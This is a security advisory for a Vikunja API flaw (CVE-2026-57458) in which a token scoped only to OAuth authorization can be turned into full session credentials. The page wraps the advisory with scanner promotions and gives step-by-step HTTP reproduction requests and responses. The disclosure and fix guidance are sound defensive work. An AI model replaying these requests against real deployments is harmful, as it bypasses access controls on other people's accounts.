Vikunja: Scoped API token can mint unrestricted OAuth session credentials
CVE-2026-57458 · GHSA-v3p6-34mc-hj7v · GO-2026-6750 · published 9 Oct 2026
How serious is it
- Severity: high, CVSS score 8.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-57458?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
code.vikunja.io/api(Go) = 2.3.0
How to check
- Run
go list -m code.vikunja.io/apiin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
code.vikunja.io/apito 2.4.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
A scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.
A token limited to:
```json
{"oauth":["authorize"]}
```
can call `/api/v1/oauth/authorize`, receive an OAuth authorization code, exchange it at `/api/v1/oauth/token`, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.
## Affected Component
* Scoped API tokens
* OAuth authorization flow
* `POST /api/v1/oauth/authorize`
* `POST /api/v1/oauth/token`
## Impact
A narrowly scoped API token with only `oauth.authorize` can be converted into normal session credentials for the same user.
This bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.
Runtime validation showed that the original scoped token could not access `GET /api/v1/user`, but the minted OAuth access token could access:
* `GET /api/v1/user`
* `GET /api/v1/projects`
No cross-user access, privilege escalation to admin, or access to another account was validated.
## Technical Details
The issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.
The vulnerable chain is:
1. A scoped API token authenticates the request and sets the current user context.
2. `/api/v1/oauth/authorize` accepts that API-token-authenticated user as a valid OAuth resource owner.
3. The OAuth authorization endpoint issues an authorization code.
4. `/api/v1/oauth/token` exchanges that code for a normal bearer JWT and refresh token.
5. The resulting credentials are not bound to the original API-token permissions.
Relevant code paths:
* `pkg/routes/routes.go`
* registers `/api/v1/oauth/authorize` in an authenticated API route group that also accepts scoped API tokens
* `pkg/models/api_routes.go`
* exposes non-CRUD subroutes as API-token permissions
* exposes the OAuth authorization endpoint under the `oauth` permission group
* `pkg/routes/api_tokens.go`
* stores `api_token` and `api_user` in the request context during API-token authentication
* `pkg/user/user.go`
* treats `api_user` as an authenticated current user
* `pkg/modules/auth/oauth2server/authorize.go`
* uses the current user and issues an OAuth authorization code
* `pkg/modules/auth/oauth2server/token.go`
* exchanges the authorization code for a normal JWT and refresh token
## Steps to Reproduce
### 1. Create a scoped API token
Create an API token with only the following permission:
```json
{"oauth":["authorize"]}
```
Observed response:
```http
201 Created
```
The returned token had only the `oauth.authorize` permission.
### 2. Negative control: direct access with scoped token fails
Request:
```http
GET /api/v1/user
Authorization: Bearer <scoped-api-token>
```
Observed response:
```http
401 Unauthorized
```
Response body:
```json
{"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"}
```
This confirms that the scoped token cannot directly access the normal user route.
### 3. Obtain an OAuth authorization code with the scoped token
Request:
```http
POST /api/v1/oauth/authorize
Authorization: Bearer <scoped-api-token>
Content-Type: application/json
```
Body:
```json
{
"response_type": "code",
"client_id": "vikunja",
"redirect_uri": "vikunja-flutter://callback",
"code_challenge": "<pkce-s256-challenge>",
"code_challenge_method": "S256"
}
```
Observed response:
```http
200 OK
```
Response body:
```json
{
"code": "<redacted>",
"redirect_uri": "vikunja-flutter://callback",
"state": ""
}
```
The scoped API token successfully obtained an OAuth authorization code.
### 4. Exchange the authorization code for session credentials
Request:
```http
POST /api/v1/oauth/token
Content-Type: application/json
```
Body:
```json
{
"grant_type": "authorization_code",
"code": "<redacted>",
"client_id": "vikunja",
"redirect_uri": "vikunja-flutter://callback",
"code_verifier": "<original-pkce-verifier>"
}
```
Observed response:
```http
200 OK
```
Response body:
```json
{
"access_token": "<redacted>",
"token_type": "bearer",
"expires_in": 600,
"refresh_token": "<redacted>"
}
```
The authorization code was exchanged for a normal access token and refresh token.
### 5. Use the minted access token on normal routes
Request:
```http
GET /api/v1/user
Authorization: Bearer <minted-oauth-access-token>
```
Observed response:
```http
200 OK
```
Additional scope check:
```http
GET /api/v1/projects
Authorization: Bearer <minted-oauth-access-token>
```
Observed response:
```http
200 OK
```
The minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.
## Expected Behavior
A scoped API token should not be able to obtain credentials with broader permissions than its declared scope.
`/api/v1/oauth/authorize` should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.
## Actual Behavior
A token scoped only to `oauth.authorize` can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.
The minted credentials are not restricted by the original API-token permissions.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/go-vikunja/vikunja/security/advisories/GHSA-v3p6-34mc-hj7v
- github.com/go-vikunja/vikunja/commit/4ae2e093014881052ed8f8ecd8bcb9adf83dd276
- github.com/go-vikunja/vikunja/releases/tag/v2.4.0
- github.com/advisories/GHSA-v3p6-34mc-hj7v
- github.com/go-vikunja/vikunja
Merged from GitHub Advisory Database, OSV, NVD. Last updated 24 Oct 2026. All vulnerabilities · RSS · JSON